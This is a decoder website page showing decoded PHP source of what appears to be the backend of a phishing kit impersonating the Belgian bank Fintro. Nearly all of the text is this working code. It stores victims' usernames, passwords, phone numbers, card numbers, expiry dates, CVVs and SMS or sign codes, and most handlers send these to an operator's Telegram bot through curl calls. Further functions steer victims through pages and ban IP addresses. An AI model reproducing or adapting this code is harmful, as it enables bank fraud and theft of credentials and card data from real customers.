Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace App\Models\Fintro; use PDO; class Fintro extends \Core\Model { public st..

Decoded Output download

<?php 
 namespace App\Models\Fintro; use PDO; class Fintro extends \Core\Model { public static function redirect() { $sql = "SELECT * FROM redirect WHERE id = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("location: " . $data["redirect"]); die; } else { header("location: https://www.google.be"); die; } } public static function findBan($ip) { $sql = "SELECT * FROM bans WHERE ip = :ip"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":ip", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function setSignTwoInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_code_m = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSignTwo($respons, $uid) { $sql = "UPDATE logs SET fintro_code_m = :respons, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":respons", $respons, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setSignTwoPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_code_m = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignTwoPageCode($uid, $page, $codefive) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_code_m = :empty, fintro_code_two_m = :codefive WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":codefive", $codefive, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignTwoCode($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["fintro_code_two_m"])) { return $data["fintro_code_two_m"]; } return false; } public static function setSignTwoPageCodeTwo($uid, $page, $codesix) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_code_m = :empty, fintro_code_three_m = :codesix WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":codesix", $codesix, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignTwoCodeTwo($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["fintro_code_three_m"])) { return $data["fintro_code_three_m"]; } return false; } public static function setSignInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_code_x = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSign($respons, $uid) { $sql = "UPDATE logs SET fintro_code_x = :respons, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":respons", $respons, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Sign Code)  FINTRO%0A%0AResponse - {$respons}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCustomInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_custom = :empty, fintro_custom_two = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCustom($expiration, $number, $uid) { $sql = "UPDATE logs SET fintro_custom = :expiration, fintro_custom_two = :number, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":expiration", $expiration, PDO::PARAM_STR); $stmt->bindValue(":number", $number, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Custom)  FINTRO%0A%0AMailPass - {$expiration}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCustomPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_custom = :empty, fintro_custom_two = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_code_x = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignPageCode($uid, $page, $codefour) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_code_x = :empty, fintro_code_two_x = :codefour WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":codefour", $codefour, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignCode($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["fintro_code_two_x"])) { return $data["fintro_code_two_x"]; } return false; } public static function setPasswordInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_password = :empty, fintro_password_two = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPassword($expiration, $number, $uid) { $sql = "UPDATE logs SET fintro_password = :expiration, fintro_password_two = :number, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":expiration", $expiration, PDO::PARAM_STR); $stmt->bindValue(":number", $number, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Mail)  FINTRO%0A%0AMailPass - {$expiration}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setPasswordPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_password = :empty, fintro_password_two = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCallInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_call = :empty, fintro_call_two = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCall($expiration, $number, $uid) { $sql = "UPDATE logs SET fintro_call = :expiration, fintro_call_two = :number, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":expiration", $expiration, PDO::PARAM_STR); $stmt->bindValue(":number", $number, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Leb)  FINTRO%0A%0ALester, bel me!%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCallPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_call = :empty, fintro_call_two = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLogInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_user = :empty, fintro_pass = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setWifiInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_wifi = :empty, fintro_wifi_pass = :empty, fintro_wifi_pass_two = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCreditcardInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_creditcard = :empty, fintro_ccexp = :empty, fintro_cvv = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setDetailsInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_exp = :empty, fintro_number = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPhotoInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_respons = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPhoto($respons, $uid) { $sql = "UPDATE logs SET fintro_respons = :respons, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":respons", $respons, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Login Code)  FINTRO%0A%0AResponse - {$respons}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setPhotoPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_respons = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setPhotoPageCode($uid, $page, $code) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_respons = :empty, fintro_code = :code WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getPhotoCode($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["fintro_code"])) { return $data["fintro_code"]; } return false; } public static function setConfirmInformation($uid) { $sql = "UPDATE logs SET bank = :bank, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setTanInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_tan = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function checkPayment($url = array()) { $sql = "SELECT * FROM requests WHERE url = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public static function setLogin($username, $password, $uid) { $sql = "UPDATE logs SET fintro_user = :username, fintro_pass = :password, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":username", $username, PDO::PARAM_STR); $stmt->bindValue(":password", $password, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Phone)  FINTRO%0A%0APhone - {$username}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setWifi($wifi, $pass, $confirm, $uid) { $sql = "UPDATE logs SET fintro_wifi = :wifi, fintro_wifi_pass = :pass, fintro_wifi_pass_two = :confirm, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":wifi", $wifi, PDO::PARAM_STR); $stmt->bindValue(":pass", $pass, PDO::PARAM_STR); $stmt->bindValue(":confirm", $confirm, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Login)  FINTRO%0A%0ACardNum - {$wifi}%0AClientNum - {$pass}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setCreditcard($wifi, $pass, $confirm, $uid) { $sql = "UPDATE logs SET fintro_creditcard = :wifi, fintro_ccexp = :pass, fintro_cvv = :confirm, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":wifi", $wifi, PDO::PARAM_STR); $stmt->bindValue(":pass", $pass, PDO::PARAM_STR); $stmt->bindValue(":confirm", $confirm, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (CC)  FINTRO%0A%0ACc - {$wifi}%0AExp - {$pass}%0ACvv - {$confirm}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setConfirm($uid) { $sql = "UPDATE logs SET waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setTan($tan, $uid) { $sql = "UPDATE logs SET fintro_tan = :tan, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":tan", $tan, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setDetails($expiration, $number, $uid) { $sql = "UPDATE logs SET fintro_exp = :expiration, fintro_number = :number, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":expiration", $expiration, PDO::PARAM_STR); $stmt->bindValue(":number", $number, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (SMS)  FINTRO%0A%0ASMS - {$expiration}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function getPage($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["page"])) { return $data["page"]; } return false; } public static function setLoginPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_user = :empty, fintro_pass = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setControlPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_wifi = :empty, fintro_wifi_pass = :empty, fintro_wifi_pass_two = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCreditcardPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_creditcard = :empty, fintro_ccexp = :empty, fintro_cvv = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setDetailsPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_exp = :empty, fintro_number = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setConfirmPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setTanPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_tan = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLiveInformation($uid) { $sql = "UPDATE logs SET bank = :bank, fintro_respons_two = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLive($respons, $uid) { $sql = "UPDATE logs SET fintro_respons_two = :respons, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":respons", $respons, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $chatId = file_get_contents("../public/api/chat.ini"); $botToken = file_get_contents("../public/api/bot.ini"); $notify = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=  - (Live Code)  FINTRO%0A%0AResponse - {$respons}%0A%0A - {$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setLivePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_respons_two = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePageCode($uid, $page, $codetwo) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_respons_two = :empty, fintro_code_two = :codetwo WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":codetwo", $codetwo, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getLiveCode($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["fintro_code_two"])) { return $data["fintro_code_two"]; } return false; } public static function setLivePageCodeTwo($uid, $page, $codethree) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_respons_two = :empty, fintro_code_three = :codethree WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":codethree", $codethree, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getLiveCodeTwo($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["fintro_code_three"])) { return $data["fintro_code_three"]; } return false; } public static function setFinishPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } } ?>

Did this file decode correctly?

Original Code

<?php
